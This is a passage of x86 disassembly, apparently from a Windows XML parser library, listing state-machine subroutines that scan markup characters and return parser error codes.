loc_69B32370: ; CODE XREF: sub_69B32324+38j
mov ecx, esi
call sub_69B34A8C
loc_69B32377: ; CODE XREF: sub_69B32324+4Aj
cmp eax, ebx
jnz loc_69B324C7
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov word ptr [esi+4], 1
loc_69B3238E: ; CODE XREF: sub_69B32324+11j
lea edi, [esi+52h]
cmp word ptr [edi], 5Dh
jz short loc_69B323B6
lea ebp, [esi+5Ch]
loc_69B3239A: ; CODE XREF: sub_69B32324+90j
cmp [ebp+0], bl
jnz short loc_69B323B6
mov ecx, [esi+34h]
lea eax, [esi+54h]
push eax
push edi
call sub_69B35B2D
cmp eax, ebx
jl short loc_69B323DF
cmp word ptr [edi], 5Dh
jnz short loc_69B3239A
loc_69B323B6: ; CODE XREF: sub_69B32324+71j
; sub_69B32324+79j
cmp [esi+5Ch], bl
jnz loc_69B32458
mov word ptr [esi+4], 2
loc_69B323C5: ; CODE XREF: sub_69B32324+14j
cmp [esi+0A8h], bl
jnz short loc_69B3240D
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32414
; ---------------------------------------------------------------------------
loc_69B323DF: ; CODE XREF: sub_69B32324+8Aj
cmp eax, 8000000Ah
jnz loc_69B324C7
cmp [esi+0A8h], bl
jnz short loc_69B32401
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp loc_69B324C7
; ---------------------------------------------------------------------------
loc_69B32401: ; CODE XREF: sub_69B32324+CCj
mov ecx, esi
call sub_69B34A8C
jmp loc_69B324C7
; ---------------------------------------------------------------------------
loc_69B3240D: ; CODE XREF: sub_69B32324+A7j
mov ecx, esi
call sub_69B34A8C
loc_69B32414: ; CODE XREF: sub_69B32324+B9j
cmp eax, ebx
jnz loc_69B324C7
cmp [esi+5Ch], bl
jnz short loc_69B32458
cmp word ptr [esi+52h], 5Dh
jnz short loc_69B32477
mov word ptr [esi+4], 3
loc_69B3242E: ; CODE XREF: sub_69B32324+1Bj
cmp [esi+0A8h], bl
jnz short loc_69B32448
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3244F
; ---------------------------------------------------------------------------
loc_69B32448: ; CODE XREF: sub_69B32324+110j
mov ecx, esi
call sub_69B34A8C
loc_69B3244F: ; CODE XREF: sub_69B32324+122j
cmp eax, ebx
jnz short loc_69B324C7
cmp [esi+5Ch], bl
jz short loc_69B3245F
loc_69B32458: ; CODE XREF: sub_69B32324+95j
; sub_69B32324+FBj
mov eax, 0C00CE564h
jmp short loc_69B324C7
; ---------------------------------------------------------------------------
loc_69B3245F: ; CODE XREF: sub_69B32324+132j
mov ax, [esi+52h]
cmp ax, 5Dh
jnz short loc_69B32471
mov word ptr [esi+4], 3
jmp short loc_69B324C5
; ---------------------------------------------------------------------------
loc_69B32471: ; CODE XREF: sub_69B32324+143j
cmp ax, 3Eh
jz short loc_69B3247F
loc_69B32477: ; CODE XREF: sub_69B32324+102j
mov word ptr [esi+4], 1
jmp short loc_69B324C5
; ---------------------------------------------------------------------------
loc_69B3247F: ; CODE XREF: sub_69B32324+151j
mov word ptr [esi+4], 4
loc_69B32485: ; CODE XREF: sub_69B32324+22j
cmp [esi+0A8h], bl
jnz short loc_69B3249F
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B324A6
; ---------------------------------------------------------------------------
loc_69B3249F: ; CODE XREF: sub_69B32324+167j
mov ecx, esi
call sub_69B34A8C
loc_69B324A6: ; CODE XREF: sub_69B32324+179j
cmp eax, ebx
jnz short loc_69B324C7
push 1
mov ecx, esi
mov dword ptr [esi+44h], 0Eh
mov dword ptr [esi+48h], 0FFFFFFFDh
call sub_69B3220F
cmp eax, ebx
jl short loc_69B324C7
loc_69B324C5: ; CODE XREF: sub_69B32324+14Bj
; sub_69B32324+159j
xor eax, eax
loc_69B324C7: ; CODE XREF: sub_69B32324+2Dj
; sub_69B32324+55j ...
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B32324 endp
; =============== S U B R O U T I N E =======================================
sub_69B324CC proc near ; CODE XREF: sub_69B33E72+571p
; DATA XREF: sub_69B33E72+55Fo
push esi
mov esi, ecx
movsx ecx, word ptr [esi+4]
xor eax, eax
sub ecx, eax
jz short loc_69B324FA
dec ecx
jnz short loc_69B32535
mov ecx, [esi+34h]
or dword ptr [esi+48h], 0FFFFFFFFh
call sub_69B35CAD
push 1
mov ecx, esi
mov dword ptr [esi+44h], 1Bh
call sub_69B3220F
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B324FA: ; CODE XREF: sub_69B324CC+Bj
mov ecx, [esi+34h]
push 0
mov dword ptr [esi+44h], 45h
call sub_69B318D1
mov ecx, [esi+34h]
call sub_69B35C91
push 1
push offset sub_69B347D3
mov ecx, esi
mov byte ptr [esi+0A9h], 1
mov byte ptr [esi+0A8h], 1
call sub_69B320E7
test eax, eax
jl short loc_69B32535
xor eax, eax
loc_69B32535: ; CODE XREF: sub_69B324CC+Ej
; sub_69B324CC+65j
pop esi
retn
sub_69B324CC endp
; =============== S U B R O U T I N E =======================================
sub_69B32537 proc near ; DATA XREF: sub_69B34A8C+32o
push esi
push 1
mov esi, ecx
call sub_69B3220F
test eax, eax
jl short loc_69B3254D
mov ecx, esi
pop esi
jmp sub_69B34A8C
; ---------------------------------------------------------------------------
loc_69B3254D: ; CODE XREF: sub_69B32537+Cj
pop esi
retn
sub_69B32537 endp
; =============== S U B R O U T I N E =======================================
sub_69B3254F proc near ; CODE XREF: sub_69B2132A+154p
; sub_69B3347E+17Dj ...
push esi
mov esi, ecx
mov ecx, [esi+34h]
mov eax, [ecx+48h]
cmp eax, [ecx+8]
push edi
jnz short loc_69B32599
lea edi, [esi+5Ch]
loc_69B32561: ; CODE XREF: sub_69B3254F+48j
cmp byte ptr [edi], 0
jnz short loc_69B32599
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3257B
push edi
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32582
; ---------------------------------------------------------------------------
loc_69B3257B: ; CODE XREF: sub_69B3254F+1Ej
mov ecx, esi
call sub_69B34A8C
loc_69B32582: ; CODE XREF: sub_69B3254F+2Aj
test eax, eax
jnz short loc_69B325A2
cmp [esi+0B0h], al
jnz short loc_69B325A5
mov ecx, [esi+34h]
mov eax, [ecx+48h]
cmp eax, [ecx+8]
jz short loc_69B32561
loc_69B32599: ; CODE XREF: sub_69B3254F+Dj
; sub_69B3254F+15j
push 0
mov ecx, esi
call sub_69B3220F
loc_69B325A2: ; CODE XREF: sub_69B3254F+35j
; sub_69B3254F+58j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B325A5: ; CODE XREF: sub_69B3254F+3Dj
xor eax, eax
jmp short loc_69B325A2
sub_69B3254F endp
; =============== S U B R O U T I N E =======================================
sub_69B325A9 proc near ; DATA XREF: sub_69B33E72+5CAo
push ebx
push ebp
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz short loc_69B325DB
dec eax
jz short loc_69B3262C
dec eax
jz loc_69B32664
dec eax
jz loc_69B326B9
dec eax
jz loc_69B32723
mov eax, 0C00CE512h
jmp loc_69B3278C
; ---------------------------------------------------------------------------
loc_69B325DB: ; CODE XREF: sub_69B325A9+Ej
mov al, [esi+0A8h]
cmp al, bl
mov [esi+0B1h], al
mov [esi+8Dh], bl
jnz short loc_69B32603
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3260A
; ---------------------------------------------------------------------------
loc_69B32603: ; CODE XREF: sub_69B325A9+46j
mov ecx, esi
call sub_69B34A8C
loc_69B3260A: ; CODE XREF: sub_69B325A9+58j
cmp eax, ebx
jnz loc_69B3278C
cmp [esi+5Ch], bl
jnz loc_69B3272A
cmp word ptr [esi+52h], 2Dh
jnz loc_69B32742
mov word ptr [esi+4], 1
loc_69B3262C: ; CODE XREF: sub_69B325A9+11j
cmp [esi+0A8h], bl
jnz short loc_69B32646
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B3264D
; ---------------------------------------------------------------------------
loc_69B32646: ; CODE XREF: sub_69B325A9+89j
mov ecx, esi
call sub_69B34A8C
loc_69B3264D: ; CODE XREF: sub_69B325A9+9Bj
cmp eax, ebx
jnz loc_69B3278C
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov word ptr [esi+4], 2
loc_69B32664: ; CODE XREF: sub_69B325A9+14j
lea edi, [esi+5Ch]
cmp [edi], bl
jnz loc_69B3272A
lea ebp, [esi+52h]
loc_69B32672: ; CODE XREF: sub_69B325A9+104j
xor eax, eax
mov ax, [ebp+0]
cmp ax, 2Dh
jz short loc_69B326CD
push eax
call sub_69B319A7
test eax, eax
jz short loc_69B326F1
cmp [esi+0A8h], bl
jnz short loc_69B3269C
mov ecx, [esi+34h]
push edi
push ebp
call sub_69B35FE4
jmp short loc_69B326A3
; ---------------------------------------------------------------------------
loc_69B3269C: ; CODE XREF: sub_69B325A9+E5j
mov ecx, esi
call sub_69B34A8C
loc_69B326A3: ; CODE XREF: sub_69B325A9+F1j
cmp eax, ebx
jnz loc_69B3278C
cmp [edi], bl
jz short loc_69B32672
loc_69B326AF: ; CODE XREF: sub_69B325A9+141j
cmp [edi], bl
jnz short loc_69B3272A
mov word ptr [esi+4], 3
loc_69B326B9: ; CODE XREF: sub_69B325A9+1Bj
lea eax, [esi+52h]
cmp word ptr [eax], 2Dh
jz short loc_69B326FB
mov word ptr [esi+4], 2
jmp loc_69B3278A
; ---------------------------------------------------------------------------
loc_69B326CD: ; CODE XREF: sub_69B325A9+D3j
cmp [esi+0A8h], bl
jnz short loc_69B326E1
mov ecx, [esi+34h]
push edi
push ebp
call sub_69B35FE4
jmp short loc_69B326E8
; ---------------------------------------------------------------------------
loc_69B326E1: ; CODE XREF: sub_69B325A9+12Aj
mov ecx, esi
call sub_69B34A8C
loc_69B326E8: ; CODE XREF: sub_69B325A9+136j
cmp eax, ebx
jz short loc_69B326AF
jmp loc_69B3278C
; ---------------------------------------------------------------------------
loc_69B326F1: ; CODE XREF: sub_69B325A9+DDj
mov eax, 0C00CE508h
jmp loc_69B3278C
; ---------------------------------------------------------------------------
loc_69B326FB: ; CODE XREF: sub_69B325A9+117j
cmp [esi+0A8h], bl
jnz short loc_69B32712
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B32719
; ---------------------------------------------------------------------------
loc_69B32712: ; CODE XREF: sub_69B325A9+158j
mov ecx, esi
call sub_69B34A8C
loc_69B32719: ; CODE XREF: sub_69B325A9+167j
cmp eax, ebx
jnz short loc_69B3278C
mov word ptr [esi+4], 4
loc_69B32723: ; CODE XREF: sub_69B325A9+22j
lea eax, [esi+5Ch]
cmp [eax], bl
jz short loc_69B32731
loc_69B3272A: ; CODE XREF: sub_69B325A9+6Cj
; sub_69B325A9+C0j ...
mov eax, 0C00CE561h
jmp short loc_69B3278C
; ---------------------------------------------------------------------------
loc_69B32731: ; CODE XREF: sub_69B325A9+17Fj
lea ecx, [esi+52h]
cmp word ptr [ecx], 3Eh
jz short loc_69B32749
cmp [esi+8Bh], bl
jnz short loc_69B32749
loc_69B32742: ; CODE XREF: sub_69B325A9+77j
mov eax, 0C00CE503h
jmp short loc_69B3278C
; ---------------------------------------------------------------------------
loc_69B32749: ; CODE XREF: sub_69B325A9+18Fj
; sub_69B325A9+197j
cmp [esi+0A8h], bl
jnz short loc_69B3275D
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B32764
; ---------------------------------------------------------------------------
loc_69B3275D: ; CODE XREF: sub_69B325A9+1A6j
mov ecx, esi
call sub_69B34A8C
loc_69B32764: ; CODE XREF: sub_69B325A9+1B2j
cmp eax, ebx
jnz short loc_69B3278C
push 1
mov ecx, esi
mov dword ptr [esi+48h], 0FFFFFFFDh
mov dword ptr [esi+44h], 10h
call sub_69B3220F
cmp eax, ebx
jl short loc_69B3278C
mov byte ptr [esi+8Dh], 1
loc_69B3278A: ; CODE XREF: sub_69B325A9+11Fj
xor eax, eax
loc_69B3278C: ; CODE XREF: sub_69B325A9+2Dj
; sub_69B325A9+63j ...
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B325A9 endp
; =============== S U B R O U T I N E =======================================
sub_69B32791 proc near ; CODE XREF: sub_69B2132A+9Ep
; sub_69B2132A+3FFp ...
push ebx
push ebp
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
push edi
xor ebx, ebx
sub eax, ebx
push 1
pop ebp
jz short loc_69B327BB
dec eax
jz short loc_69B327EF
dec eax
jz loc_69B3288A
dec eax
jz short loc_69B327FD
mov eax, 0C00CE512h
jmp loc_69B3284D
; ---------------------------------------------------------------------------
loc_69B327BB: ; CODE XREF: sub_69B32791+11j
xor eax, eax
mov ax, [esi+52h]
push eax
call sub_69B31987
test eax, eax
jnz short loc_69B327E2
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFF1h
add eax, 0C00CE513h
jmp short loc_69B3284D
; ---------------------------------------------------------------------------
loc_69B327E2: ; CODE XREF: sub_69B32791+38j
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov [esi+4], bp
loc_69B327EF: ; CODE XREF: sub_69B32791+14j
cmp [esi+89h], bl
mov [esi+64h], ebx
mov [esi+60h], ebx
jz short loc_69B32852
loc_69B327FD: ; CODE XREF: sub_69B32791+1Ej
xor eax, eax
lea edi, [esi+52h]
mov ax, [edi]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B32845
lea ebp, [esi+5Ch]
loc_69B32812: ; CODE XREF: sub_69B32791+B2j
cmp [ebp+0], bl
jnz short loc_69B32845
cmp [esi+0A8h], bl
jnz short loc_69B3282B
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp short loc_69B32832
; ---------------------------------------------------------------------------
loc_69B3282B: ; CODE XREF: sub_69B32791+8Cj
mov ecx, esi
call sub_69B34A8C
loc_69B32832: ; CODE XREF: sub_69B32791+98j
cmp eax, ebx
jnz short loc_69B3284D
xor eax, eax
mov ax, [edi]
push eax
call sub_69B31967
test eax, eax
jnz short loc_69B32812
loc_69B32845: ; CODE XREF: sub_69B32791+7Cj
; sub_69B32791+84j ...
mov ecx, esi
push ebx
call sub_69B3220F
loc_69B3284D: ; CODE XREF: sub_69B32791+25j
; sub_69B32791+4Fj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B32852: ; CODE XREF: sub_69B32791+6Aj
lea eax, [esi+52h]
cmp word ptr [eax], 3Ah
jnz short loc_69B32862
mov eax, 0C00CE504h
jmp short loc_69B3284D
; ---------------------------------------------------------------------------
loc_69B32862: ; CODE XREF: sub_69B32791+C8j
cmp [esi+0A8h], bl
jnz short loc_69B32879
lea ecx, [esi+5Ch]
push ecx
mov ecx, [esi+34h]
push eax
call sub_69B35FE4
jmp short loc_69B32880
; ---------------------------------------------------------------------------
loc_69B32879: ; CODE XREF: sub_69B32791+D7j
mov ecx, esi
call sub_69B34A8C
loc_69B32880: ; CODE XREF: sub_69B32791+E6j
cmp eax, ebx
jnz short loc_69B3284D
mov word ptr [esi+4], 2
loc_69B3288A: ; CODE XREF: sub_69B32791+17j
lea edi, [esi+52h]
loc_69B3288D: ; CODE XREF: sub_69B32791+167j
cmp word ptr [edi], 3Ah
jz short loc_69B328D8
loc_69B32893: ; CODE XREF: sub_69B32791+13Bj
xor eax, eax
mov ax, [edi]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B328CE
lea eax, [esi+5Ch]
cmp [eax], bl
jnz short loc_69B328CE
cmp [esi+0A8h], bl
jnz short loc_69B328BD
mov ecx, [esi+34h]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B328C4
; ---------------------------------------------------------------------------
loc_69B328BD: ; CODE XREF: sub_69B32791+11Ej
mov ecx, esi
call sub_69B34A8C
loc_69B328C4: ; CODE XREF: sub_69B32791+12Aj
cmp eax, ebx
jnz short loc_69B3284D
cmp word ptr [edi], 3Ah
jnz short loc_69B32893
loc_69B328CE: ; CODE XREF: sub_69B32791+10Fj
; sub_69B32791+116j
cmp word ptr [edi], 3Ah
jnz loc_69B32845
loc_69B328D8: ; CODE XREF: sub_69B32791+100j
cmp [esi+64h], ebx
jnz short loc_69B328FF
mov eax, [esi+34h]
mov ecx, [eax+8]
sub ecx, [eax+14h]
push 2
dec ecx
mov [esi+60h], ecx
mov ecx, esi
mov [esi+64h], ebp
call sub_69B35447
cmp eax, ebx
jz short loc_69B3288D
jmp loc_69B3284D
; ---------------------------------------------------------------------------
loc_69B328FF: ; CODE XREF: sub_69B32791+14Aj
mov eax, 0C00CE51Ch
jmp loc_69B3284D
sub_69B32791 endp
; =============== S U B R O U T I N E =======================================
sub_69B32909 proc near ; CODE XREF: sub_69B33E72+2AAp
; DATA XREF: sub_69B33E72+294o
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
sub eax, 0
jz short loc_69B3291F
dec eax
jz short loc_69B3294C
mov eax, 0C00CE512h
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B3291F: ; CODE XREF: sub_69B32909+Aj
xor eax, eax
mov ax, [esi+52h]
push eax
call sub_69B31967
test eax, eax
jnz short loc_69B32946
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
pop esi
neg eax
sbb eax, eax
and eax, 0FFFFFFF2h
add eax, 0C00CE513h
retn
; ---------------------------------------------------------------------------
loc_69B32946: ; CODE XREF: sub_69B32909+24j
mov word ptr [esi+4], 1
loc_69B3294C: ; CODE XREF: sub_69B32909+Dj
push edi
lea edi, [esi+52h]
jmp short loc_69B32989
; ---------------------------------------------------------------------------
loc_69B32952: ; CODE XREF: sub_69B32909+84j
xor eax, eax
mov ax, [edi]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B3298F
lea eax, [esi+5Ch]
cmp byte ptr [eax], 0
jnz short loc_69B3298F
cmp byte ptr [esi+0A8h], 0
jnz short loc_69B3297E
mov ecx, [esi+34h]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B32985
; ---------------------------------------------------------------------------
loc_69B3297E: ; CODE XREF: sub_69B32909+67j
mov ecx, esi
call sub_69B34A8C
loc_69B32985: ; CODE XREF: sub_69B32909+73j
test eax, eax
jnz short loc_69B32998
loc_69B32989: ; CODE XREF: sub_69B32909+47j
cmp word ptr [edi], 3Eh
jnz short loc_69B32952
loc_69B3298F: ; CODE XREF: sub_69B32909+56j
; sub_69B32909+5Ej
push 0
mov ecx, esi
call sub_69B3220F
loc_69B32998: ; CODE XREF: sub_69B32909+7Ej
pop edi
pop esi
retn
sub_69B32909 endp
; =============== S U B R O U T I N E =======================================
sub_69B3299B proc near ; DATA XREF: sub_69B33E72+70Do
push ebx
push ebp
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz short loc_69B329B8
dec eax
jz short loc_69B329EC
mov eax, 0C00CE512h
jmp loc_69B32A4F
; ---------------------------------------------------------------------------
loc_69B329B8: ; CODE XREF: sub_69B3299B+Ej
lea edi, [esi+52h]
mov ax, [edi]
cmp ax, [esi+56h]
jz short loc_69B329E6
lea ebp, [esi+5Ch]
loc_69B329C7: ; CODE XREF: sub_69B3299B+49j
cmp [ebp+0], bl
jnz short loc_69B329E6
mov ecx, [esi+34h]
lea eax, [esi+54h]
push eax
push edi
call sub_69B35B2D
cmp eax, ebx
jl short loc_69B329FA
mov ax, [edi]
cmp ax, [esi+56h]
jnz short loc_69B329C7
loc_69B329E6: ; CODE XREF: sub_69B3299B+27j
; sub_69B3299B+2Fj
mov word ptr [esi+4], 1
loc_69B329EC: ; CODE XREF: sub_69B3299B+11j
lea eax, [esi+5Ch]
cmp [eax], bl
jz short loc_69B32A1E
mov eax, 0C00CE560h
jmp short loc_69B32A4F
; ---------------------------------------------------------------------------
loc_69B329FA: ; CODE XREF: sub_69B3299B+40j
cmp eax, 8000000Ah
jnz short loc_69B32A4F
cmp [esi+0A8h], bl
jnz short loc_69B32A15
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp short loc_69B32A4F
; ---------------------------------------------------------------------------
loc_69B32A15: ; CODE XREF: sub_69B3299B+6Cj
mov ecx, esi
call sub_69B34A8C
jmp short loc_69B32A4F
; ---------------------------------------------------------------------------
loc_69B32A1E: ; CODE XREF: sub_69B3299B+56j
cmp [esi+0A8h], bl
jnz short loc_69B32A35
mov ecx, [esi+34h]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32A3C
; ---------------------------------------------------------------------------
loc_69B32A35: ; CODE XREF: sub_69B3299B+89j
mov ecx, esi
call sub_69B34A8C
loc_69B32A3C: ; CODE XREF: sub_69B3299B+98j
cmp eax, ebx
jnz short loc_69B32A4F
push 1
mov ecx, esi
call sub_69B3220F
cmp eax, ebx
jl short loc_69B32A4F
xor eax, eax
loc_69B32A4F: ; CODE XREF: sub_69B3299B+18j
; sub_69B3299B+5Dj ...
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B3299B endp
; =============== S U B R O U T I N E =======================================
sub_69B32A54 proc near ; CODE XREF: sub_69B33E72+48Cp
; DATA XREF: sub_69B33E72+476o
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
xor ebx, ebx
sub eax, ebx
push edi
jz short loc_69B32A7E
dec eax
jz short loc_69B32AA2
dec eax
jz loc_69B32AF8
dec eax
jz loc_69B32B53
mov eax, 0C00CE512h
jmp loc_69B32B9C
; ---------------------------------------------------------------------------
loc_69B32A7E: ; CODE XREF: sub_69B32A54+Dj
mov ax, [esi+52h]
cmp ax, 22h
jz short loc_69B32A98
cmp ax, 27h
jz short loc_69B32A98
mov eax, 0C00CE502h
jmp loc_69B32B9C
; ---------------------------------------------------------------------------
loc_69B32A98: ; CODE XREF: sub_69B32A54+32j
; sub_69B32A54+38j
mov [esi+56h], ax
mov word ptr [esi+4], 1
loc_69B32AA2: ; CODE XREF: sub_69B32A54+10j
cmp [esi+0A8h], bl
jnz short loc_69B32ABC
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32AC3
; ---------------------------------------------------------------------------
loc_69B32ABC: ; CODE XREF: sub_69B32A54+54j
mov ecx, esi
call sub_69B34A8C
loc_69B32AC3: ; CODE XREF: sub_69B32A54+66j
cmp eax, ebx
jnz loc_69B32B9C
xor edi, edi
mov di, [esi+52h]
push edi
call sub_69B31987
test eax, eax
jz loc_69B32B87
cmp di, 3Ah
jz loc_69B32B87
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov word ptr [esi+4], 2
loc_69B32AF8: ; CODE XREF: sub_69B32A54+13j
lea edi, [esi+52h]
jmp short loc_69B32B32
; ---------------------------------------------------------------------------
loc_69B32AFD: ; CODE XREF: sub_69B32A54+E2j
xor eax, eax
mov ax, [edi]
push eax
call sub_69B31967
test eax, eax
jz short loc_69B32B38
lea eax, [esi+5Ch]
cmp [eax], bl
jnz short loc_69B32B38
cmp [esi+0A8h], bl
jnz short loc_69B32B27
mov ecx, [esi+34h]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B32B2E
; ---------------------------------------------------------------------------
loc_69B32B27: ; CODE XREF: sub_69B32A54+C5j
mov ecx, esi
call sub_69B34A8C
loc_69B32B2E: ; CODE XREF: sub_69B32A54+D1j
cmp eax, ebx
jnz short loc_69B32B9C
loc_69B32B32: ; CODE XREF: sub_69B32A54+A7j
cmp word ptr [edi], 3Ah
jnz short loc_69B32AFD
loc_69B32B38: ; CODE XREF: sub_69B32A54+B6j
; sub_69B32A54+BDj
cmp [esi+5Ch], bl
jz short loc_69B32B44
mov eax, 0C00CE559h
jmp short loc_69B32B9C
; ---------------------------------------------------------------------------
loc_69B32B44: ; CODE XREF: sub_69B32A54+E7j
mov ax, [edi]
cmp ax, [esi+56h]
jnz short loc_69B32B87
mov word ptr [esi+4], 3
loc_69B32B53: ; CODE XREF: sub_69B32A54+1Aj
cmp [esi+0A8h], bl
jnz short loc_69B32B6D
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32B74
; ---------------------------------------------------------------------------
loc_69B32B6D: ; CODE XREF: sub_69B32A54+105j
mov ecx, esi
call sub_69B34A8C
loc_69B32B74: ; CODE XREF: sub_69B32A54+117j
cmp eax, ebx
jnz short loc_69B32B9C
or dword ptr [esi+48h], 0FFFFFFFFh
push 1
mov ecx, esi
call sub_69B3220F
jmp short loc_69B32B9C
; ---------------------------------------------------------------------------
loc_69B32B87: ; CODE XREF: sub_69B32A54+85j
; sub_69B32A54+8Fj ...
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 0FFFFFFF1h
add eax, 0C00CE513h
loc_69B32B9C: ; CODE XREF: sub_69B32A54+25j
; sub_69B32A54+3Fj ...
pop edi
pop esi
pop ebx
retn
sub_69B32A54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B32BA0 proc near ; CODE XREF: sub_69B33E72+2F8p
; DATA XREF: sub_69B33E72+2E2o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, ecx
movsx eax, word ptr [esi+4]
cmp eax, 7 ; switch 8 cases
push edi
mov byte ptr [esi+8Eh], 1
ja loc_69B32ECC ; default
xor ebx, ebx
jmp ds:off_69B32ED6[eax*4] ; switch jump
loc_69B32BC8: ; DATA XREF: .text:off_69B32ED6o
mov ax, [esi+52h] ; jumptable 69B32BC1 case 0
cmp ax, 22h
jz short loc_69B32BE2
cmp ax, 27h
jz short loc_69B32BE2
mov eax, 0C00CE502h
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32BE2: ; CODE XREF: sub_69B32BA0+30j
; sub_69B32BA0+36j
mov ecx, [esi+24h]
mov [esi+3Ch], ecx
mov byte ptr [esi+0A5h], 1
mov [esi+56h], ax
mov word ptr [esi+4], 1
loc_69B32BF9: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
xor ebx, ebx ; jumptable 69B32BC1 case 1
cmp [esi+0A8h], bl
jnz short loc_69B32C15
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B32C1C
; ---------------------------------------------------------------------------
loc_69B32C15: ; CODE XREF: sub_69B32BA0+61j
mov ecx, esi
call sub_69B34A8C
loc_69B32C1C: ; CODE XREF: sub_69B32BA0+73j
cmp eax, ebx
jnz loc_69B32ED1
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
mov word ptr [esi+4], 2
loc_69B32C33: ; CODE XREF: sub_69B32BA0+21j
; DATA XREF: .text:off_69B32ED6o
lea edi, [esi+52h] ; jumptable 69B32BC1 case 2
loc_69B32C36: ; CODE XREF: sub_69B32BA0+CBj
mov ax, [edi]
cmp ax, [esi+56h]
jz short loc_69B32C45
cmp ax, [esi+58h]
jnz short loc_69B32C4D
loc_69B32C45: ; CODE XREF: sub_69B32BA0+9Dj
mov ecx, [esi+3Ch]
cmp ecx, [esi+24h]
jge short loc_69B32CA3
loc_69B32C4D: ; CODE XREF: sub_69B32BA0+A3j
cmp [esi+5Ch], bl
jnz short loc_69B32CA3
cmp ax, 26h
jz short loc_69B32C72
push eax
mov ecx, esi
call sub_69B31F28
push 2
mov ecx, esi
call sub_69B35447
cmp eax, ebx
jz short loc_69B32C36
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32C72: ; CODE XREF: sub_69B32BA0+B6j
cmp [esi+0A8h], bl
jnz short loc_69B32C89
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B32C90
; ---------------------------------------------------------------------------
loc_69B32C89: ; CODE XREF: sub_69B32BA0+D8j
mov ecx, esi
call sub_69B34A8C
loc_69B32C90: ; CODE XREF: sub_69B32BA0+E7j
cmp eax, ebx
jnz loc_69B32ED1
mov word ptr [esi+4], 3
jmp loc_69B32EC8
; ---------------------------------------------------------------------------
loc_69B32CA3: ; CODE XREF: sub_69B32BA0+ABj
; sub_69B32BA0+B0j
lea eax, [esi+5Ch]
cmp [eax], bl
jz short loc_69B32CB4
mov eax, 0C00CE560h
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
loc_69B32CB4: ; CODE XREF: sub_69B32BA0+108j
mov cx, [edi]
cmp cx, [esi+56h]
jnz short loc_69B32CF8
cmp [esi+0A8h], bl
jnz short loc_69B32CD1
mov ecx, [esi+34h]
push eax
push edi
call sub_69B35FE4
jmp short loc_69B32CD8
; ---------------------------------------------------------------------------
loc_69B32CD1: ; CODE XREF: sub_69B32BA0+123j
mov ecx, esi
call sub_69B34A8C
loc_69B32CD8: ; CODE XREF: sub_69B32BA0+12Fj
cmp eax, ebx
jnz loc_69B32ED1
or dword ptr [esi+48h], 0FFFFFFFFh
push 1
mov ecx, esi
mov [esi+8Eh], bl
call sub_69B3220F
jmp loc_69B32ED1
; ---------------------------------------------------------------------------
